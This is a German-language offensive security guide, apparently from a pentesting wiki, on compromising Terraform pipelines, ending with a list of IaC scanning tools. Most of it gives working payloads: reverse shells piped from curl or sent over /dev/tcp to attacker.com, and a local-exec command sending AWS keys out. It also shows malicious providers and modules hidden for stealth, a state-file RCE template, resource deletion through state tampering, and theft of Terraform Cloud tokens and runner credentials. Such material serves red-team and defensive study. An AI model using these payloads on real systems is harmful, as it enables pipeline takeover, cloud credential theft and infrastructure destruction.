Terraform-Sicherheit

Reading time: 17 minutes

Grundinformationen

Aus den Dokumenten:

HashiCorp Terraform ist ein Infrastructure as Code-Tool, mit dem Sie sowohl Cloud- als auch On-Prem-Ressourcen in menschenlesbaren Konfigurationsdateien definieren können, die Sie versionieren, wiederverwenden und teilen können. Sie können dann einen konsistenten Workflow verwenden, um Ihre gesamte Infrastruktur während ihres Lebenszyklus bereitzustellen und zu verwalten. Terraform kann niedrigstufige Komponenten wie Compute-, Speicher- und Netzwerkressourcen sowie hochgradige Komponenten wie DNS-Einträge und SaaS-Funktionen verwalten.

Wie funktioniert Terraform?

Terraform erstellt und verwaltet Ressourcen auf Cloud-Plattformen und anderen Diensten über deren Anwendungsprogrammierschnittstellen (APIs). Anbieter ermöglichen es Terraform, mit praktisch jeder Plattform oder jedem Dienst zu arbeiten, der eine zugängliche API hat.

HashiCorp und die Terraform-Community haben bereits mehr als 1700 Anbieter geschrieben, um Tausende von verschiedenen Arten von Ressourcen und Diensten zu verwalten, und diese Zahl wächst weiter. Sie finden alle öffentlich verfügbaren Anbieter im Terraform-Registry, einschließlich Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog und vielen mehr.

Der grundlegende Terraform-Workflow besteht aus drei Phasen:

• Schreiben: Sie definieren Ressourcen, die über mehrere Cloud-Anbieter und Dienste verteilt sein können. Zum Beispiel könnten Sie eine Konfiguration erstellen, um eine Anwendung auf virtuellen Maschinen in einem Virtual Private Cloud (VPC)-Netzwerk mit Sicherheitsgruppen und einem Lastenausgleich bereitzustellen.
• Planen: Terraform erstellt einen Ausführungsplan, der die Infrastruktur beschreibt, die es basierend auf der vorhandenen Infrastruktur und Ihrer Konfiguration erstellen, aktualisieren oder zerstören wird.
• Anwenden: Nach Genehmigung führt Terraform die vorgeschlagenen Operationen in der richtigen Reihenfolge aus und respektiert dabei alle Ressourcenabhängigkeiten. Wenn Sie beispielsweise die Eigenschaften einer VPC aktualisieren und die Anzahl der virtuellen Maschinen in dieser VPC ändern, wird Terraform die VPC neu erstellen, bevor es die virtuellen Maschinen skalieren kann.

Terraform-Labor

Installieren Sie einfach Terraform auf Ihrem Computer.

Hier haben Sie eine Anleitung und hier haben Sie den besten Weg, um Terraform herunterzuladen.

RCE in Terraform: Konfigurationsdatei-Vergiftung

Terraform hat keine Plattform, die eine Webseite oder einen Netzwerkdienst bereitstellt, den wir auflisten können. Daher ist der einzige Weg, Terraform zu kompromittieren, in der Lage zu sein, Terraform-Konfigurationsdateien hinzuzufügen/zu ändern oder in der Lage zu sein, die Terraform-Zustandsdatei zu ändern (siehe Kapitel unten).

Allerdings ist Terraform ein sehr sensibler Bestandteil, der kompromittiert werden kann, da es privilegierten Zugriff auf verschiedene Standorte hat, damit es ordnungsgemäß funktioniert.

Der Hauptweg für einen Angreifer, um das System, auf dem Terraform läuft, zu kompromittieren, besteht darin, das Repository zu kompromittieren, das Terraform-Konfigurationen speichert, da sie irgendwann interpretiert werden.

Tatsächlich gibt es Lösungen, die Terraform-Plan/Apply automatisch ausführen, nachdem ein PR erstellt wurde, wie Atlantis:

Atlantis Security

Wenn Sie in der Lage sind, eine Terraform-Datei zu kompromittieren, gibt es verschiedene Möglichkeiten, wie Sie RCE durchführen können, wenn jemand terraform plan oder terraform apply ausführt.

Terraform-Plan

Terraform-Plan ist der am häufigsten verwendete Befehl in Terraform, und Entwickler/Lösungen, die Terraform verwenden, rufen ihn ständig auf. Daher ist der einfachste Weg, RCE zu erhalten, sicherzustellen, dass Sie eine Terraform-Konfigurationsdatei vergiften, die willkürliche Befehle in einem terraform plan ausführt.

Verwendung eines externen Anbieters

Terraform bietet den external-Anbieter, der eine Schnittstelle zwischen Terraform und externen Programmen bereitstellt. Sie können die external-Datenquelle verwenden, um willkürlichen Code während eines plans auszuführen.

Wenn Sie in einer Terraform-Konfigurationsdatei etwas wie das Folgende injizieren, wird eine Reverse-Shell ausgeführt, wenn Sie terraform plan ausführen:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Verwendung eines benutzerdefinierten Anbieters

Ein Angreifer könnte einen benutzerdefinierten Anbieter an das Terraform-Registry senden und ihn dann im Terraform-Code in einem Feature-Branch hinzufügen (Beispiel hier):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Der Anbieter wird im init heruntergeladen und führt den schädlichen Code aus, wenn plan ausgeführt wird.

Ein Beispiel finden Sie unter https://github.com/rung/terraform-provider-cmdexec

Verwendung eines externen Verweises

Beide genannten Optionen sind nützlich, aber nicht sehr stealthy (die zweite ist stealthier, aber komplexer als die erste). Sie können diesen Angriff sogar auf eine stealthier Weise durchführen, indem Sie diese Vorschläge befolgen:

• Anstatt die rev shell direkt in die Terraform-Datei einzufügen, können Sie eine externe Ressource laden, die die rev shell enthält:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Sie können den rev shell Code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules finden.

• Verwenden Sie in der externen Ressource die ref-Funktion, um den Terraform rev shell Code in einem Branch innerhalb des Repos zu verbergen, etwas wie: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply wird ausgeführt, um alle Änderungen anzuwenden. Sie können es auch missbrauchen, um RCE zu erhalten, indem Sie eine bösartige Terraform-Datei mit local-exec** injizieren.**
Sie müssen nur sicherstellen, dass eine Payload wie die folgenden im main.tf-Datei endet:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Befolge die Vorschläge aus der vorherigen Technik, um diesen Angriff auf eine diskretere Weise unter Verwendung externer Referenzen durchzuführen.

Secrets Dumps

Du kannst geheime Werte, die von terraform verwendet werden, ausgeben, indem du terraform apply ausführst und etwas wie Folgendes zur Terraform-Datei hinzufügst:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Missbrauch von Terraform-Zustandsdateien

Falls Sie Schreibzugriff auf Terraform-Zustandsdateien haben, aber den Terraform-Code nicht ändern können, gibt diese Forschung einige interessante Optionen, um die Datei auszunutzen. Selbst wenn Sie Schreibzugriff auf die Konfigurationsdateien hätten, ist die Nutzung des Vektors der Zustandsdateien oft viel heimlicher, da Sie keine Spuren im git-Verlauf hinterlassen.

RCE in Terraform: Vergiftung der Konfigurationsdatei

Es ist möglich, einen benutzerdefinierten Anbieter zu erstellen und einfach einen der Anbieter in der Terraform-Zustandsdatei durch den bösartigen zu ersetzen oder eine gefälschte Ressource hinzuzufügen, die auf den bösartigen Anbieter verweist.

Der Anbieter statefile-rce baut auf der Forschung auf und macht dieses Prinzip nutzbar. Sie können eine gefälschte Ressource hinzufügen und den beliebigen Bash-Befehl, den Sie ausführen möchten, im Attribut command angeben. Wenn der terraform-Lauf ausgelöst wird, wird dies sowohl im Schritt terraform plan als auch im Schritt terraform apply gelesen und ausgeführt. Im Fall des Schrittes terraform apply wird terraform die gefälschte Ressource nach der Ausführung Ihres Befehls aus der Zustandsdatei löschen und sich selbst aufräumen. Weitere Informationen und eine vollständige Demo finden Sie im GitHub-Repository, das den Quellcode für diesen Anbieter hostet.

Um es direkt zu verwenden, fügen Sie einfach Folgendes an beliebiger Stelle im resources-Array ein und passen Sie die Attribute name und command an:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Dann, sobald terraform ausgeführt wird, wird Ihr Code ausgeführt.

Ressourcen löschen

Es gibt 2 Möglichkeiten, Ressourcen zu zerstören:

1. Fügen Sie eine Ressource mit einem zufälligen Namen in die Statusdatei ein, die auf die zu zerstörende echte Ressource verweist

Da terraform sehen wird, dass die Ressource nicht existieren sollte, wird es sie zerstören (entsprechend der angegebenen echten Ressourcen-ID). Beispiel von der vorherigen Seite:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},

2. Ändern Sie die Ressource so, dass sie gelöscht wird, ohne dass eine Aktualisierung möglich ist (damit sie gelöscht und neu erstellt wird)

Für eine EC2-Instanz reicht es aus, den Typ der Instanz zu ändern, damit Terraform sie löscht und neu erstellt.

Ersetzen Sie den auf der Blacklist stehenden Anbieter

Falls Sie auf eine Situation stoßen, in der hashicorp/external auf der Blacklist steht, können Sie den external-Anbieter wie folgt neu implementieren. Hinweis: Wir verwenden einen Fork des externen Anbieters, der von https://registry.terraform.io/providers/nazarewk/external/latest veröffentlicht wurde. Sie können auch Ihren eigenen Fork oder Ihre eigene Neuimplementierung veröffentlichen.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Dann können Sie external wie gewohnt verwenden.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud spekulativer Plan RCE und Credential Exfiltration

Dieses Szenario missbraucht Terraform Cloud (TFC) Runner während spekulativer Pläne, um in das Ziel-Cloud-Konto zu pivotieren.

• Voraussetzungen:

• Stehlen Sie ein Terraform Cloud-Token von einem Entwicklerrechner. Die CLI speichert Tokens im Klartext unter ~/.terraform.d/credentials.tfrc.json.

• Das Token muss Zugriff auf die Zielorganisation/-arbeitsbereich haben und mindestens die Berechtigung plan. VCS-unterstützte Arbeitsbereiche blockieren apply von der CLI, erlauben jedoch weiterhin spekulative Pläne.

• Entdecken Sie die Arbeitsbereichs- und VCS-Einstellungen über die TFC-API:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq

• Triggern Sie die Codeausführung während eines spekulativen Plans unter Verwendung der externen Datenquelle und des Terraform Cloud "cloud" Blocks, um den VCS-unterstützten Arbeitsbereich anzusprechen:

terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Beispiel rsync.sh, um eine Reverse-Shell auf dem TFC-Runner zu erhalten:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Führen Sie einen spekulativen Plan aus, um das Programm auf dem temporären Runner auszuführen:

terraform init
terraform plan

• Enumerieren und exfiltrieren Sie injizierte Cloud-Anmeldeinformationen vom Runner. Während der Ausführungen injiziert TFC Anbieteranmeldeinformationen über Dateien und Umgebungsvariablen:

env | grep -i gcp || true
env | grep -i aws || true

Erwartete Dateien im Arbeitsverzeichnis des Runners:

• GCP:

• tfc-google-application-credentials (JSON-Konfiguration für Workload Identity Federation)

• tfc-gcp-token (kurzlebiger GCP-Zugriffstoken)

• AWS:

• tfc-aws-shared-config (Konfiguration für Web-Identität/OIDC-Rollenübernahme)

• tfc-aws-token (kurzlebiger Token; einige Organisationen verwenden möglicherweise statische Schlüssel)

• Verwenden Sie die kurzlebigen Anmeldeinformationen außerhalb des Bandes, um VCS-Gates zu umgehen:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Mit diesen Anmeldeinformationen können Angreifer Ressourcen direkt mit nativen CLIs erstellen, ändern oder löschen und dabei PR-basierte Workflows umgehen, die apply über VCS blockieren.

• Defensive Anleitung:
• Wenden Sie das Prinzip der geringsten Privilegien auf TFC-Benutzer/Teams und Tokens an. Überprüfen Sie Mitgliedschaften und vermeiden Sie übergroße Eigentümer.
• Beschränken Sie die plan-Berechtigung in sensiblen VCS-unterstützten Workspaces, wo dies möglich ist.
• Erzwingen Sie Provider/Datenquellen-Whitelist mit Sentinel-Richtlinien, um data "external" oder unbekannte Provider zu blockieren. Siehe HashiCorp-Anleitung zur Providerfilterung.
• Bevorzugen Sie OIDC/WIF gegenüber statischen Cloud-Anmeldeinformationen; behandeln Sie Runner als sensibel. Überwachen Sie spekulative Planläufe und unerwarteten Datenverkehr.
• Erkennen Sie die Exfiltration von tfc-* Anmeldeinformationen und alarmieren Sie bei verdächtiger Nutzung von external-Programmen während der Pläne.

Automatische Audit-Tools

Snyk Infrastructure as Code (IaC)

Snyk bietet eine umfassende Lösung zum Scannen von Infrastructure as Code (IaC), die Schwachstellen und Fehlkonfigurationen in Terraform, CloudFormation, Kubernetes und anderen IaC-Formaten erkennt.

• Funktionen:
• Echtzeit-Scanning nach Sicherheitsanfälligkeiten und Compliance-Problemen.
• Integration mit Versionskontrollsystemen (GitHub, GitLab, Bitbucket).
• Automatisierte Fix-Pull-Requests.
• Detaillierte Empfehlungen zur Behebung.
• Anmelden: Erstellen Sie ein Konto bei Snyk.

brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov ist ein statisches Code-Analyse-Tool für Infrastructure as Code (IaC) und auch ein Software Composition Analysis (SCA) Tool für Images und Open-Source-Pakete.

Es scannt Cloud-Infrastruktur, die mit Terraform bereitgestellt wurde, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates oder OpenTofu bereitgestellt wurde und erkennt Sicherheits- und Compliance-Fehlkonfigurationen mithilfe von graphbasiertem Scanning.

Es führt Software Composition Analysis (SCA) Scans durch, die einen Scan von Open-Source-Paketen und Images auf Common Vulnerabilities and Exposures (CVEs) darstellen.

pip install checkov
checkov -d /path/to/folder

terraform-compliance

Aus den docs: terraform-compliance ist ein leichtgewichtiges, auf Sicherheit und Compliance fokussiertes Testframework gegen terraform, um negative Testfähigkeiten für Ihre Infrastruktur-as-Code zu ermöglichen.

• compliance: Stellen Sie sicher, dass der implementierte Code den Sicherheitsstandards und Ihren eigenen benutzerdefinierten Standards entspricht.
• behaviour driven development: Wir haben BDD für fast alles, warum nicht für IaC?
• portable: einfach von pip installieren oder über docker ausführen. Siehe Installation
• pre-deploy: es validiert Ihren Code, bevor er bereitgestellt wird.
• easy to integrate: es kann in Ihrer Pipeline (oder in Git-Hooks) ausgeführt werden, um sicherzustellen, dass alle Bereitstellungen validiert werden.
• segregation of duty: Sie können Ihre Tests in einem anderen Repository aufbewahren, für das ein separates Team verantwortlich ist.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Aus den docs: tfsec verwendet statische Analyse Ihres Terraform-Codes, um potenzielle Fehlkonfigurationen zu erkennen.

• ☁️ Überprüft Fehlkonfigurationen bei allen großen (und einigen kleineren) Cloud-Anbietern
• ⛔ Hunderte von integrierten Regeln
• 🪆 Scannt Module (lokal und remote)
• ➕ Bewertet HCL-Ausdrücke sowie literale Werte
• ↪️ Bewertet Terraform-Funktionen z.B. concat()
• 🔗 Bewertet Beziehungen zwischen Terraform-Ressourcen
• 🧰 Kompatibel mit dem Terraform CDK
• 🙅 Wendet (und verfeinert) benutzerdefinierte Rego-Richtlinien an
• 📃 Unterstützt mehrere Ausgabeformate: lovely (Standard), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
• 🛠️ Konfigurierbar (über CLI-Flags und/oder Konfigurationsdatei)
• ⚡ Sehr schnell, in der Lage, riesige Repositories schnell zu scannen

brew install tfsec
tfsec /path/to/folder

KICKS

Finden Sie Sicherheitsanfälligkeiten, Compliance-Probleme und Fehlkonfigurationen der Infrastruktur früh im Entwicklungszyklus Ihrer Infrastruktur-as-Code mit KICS von Checkmarx.

KICS steht für Keeping Infrastructure as Code Secure, es ist Open Source und ein Muss für jedes cloud-native Projekt.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Aus den docs: Terrascan ist ein statischer Code-Analyzer für Infrastructure as Code. Terrascan ermöglicht es Ihnen:

• Nahtlos Infrastruktur als Code auf Fehlkonfigurationen zu scannen.
• Bereitgestellte Cloud-Infrastruktur auf Konfigurationsänderungen zu überwachen, die zu einer Abweichung der Sicherheitslage führen, und ermöglicht das Zurückkehren zu einer sicheren Sicherheitslage.
• Sicherheitsanfälligkeiten und Compliance-Verstöße zu erkennen.
• Risiken zu mindern, bevor cloud-native Infrastruktur bereitgestellt wird.
• Bietet Flexibilität, lokal zu arbeiten oder in Ihre CI\CD zu integrieren.

brew install terrascan

Referenzen

• Atlantis Security
• https://alex.kaskaso.li/post/terraform-plan-rce
• https://developer.hashicorp.com/terraform/intro
• https://blog.plerion.com/hacking-terraform-state-privilege-escalation/
• https://github.com/offensive-actions/terraform-provider-statefile-rce
• Terraform Cloud token abuse turns speculative plan into remote code execution
• Terraform Cloud permissions
• Terraform Cloud API – Show workspace
• AWS provider configuration
• AWS CLI – OIDC role assumption
• GCP provider – Using Terraform Cloud
• Terraform – Sensitive variables
• Snyk Labs – Gitflops: dangers of Terraform automation platforms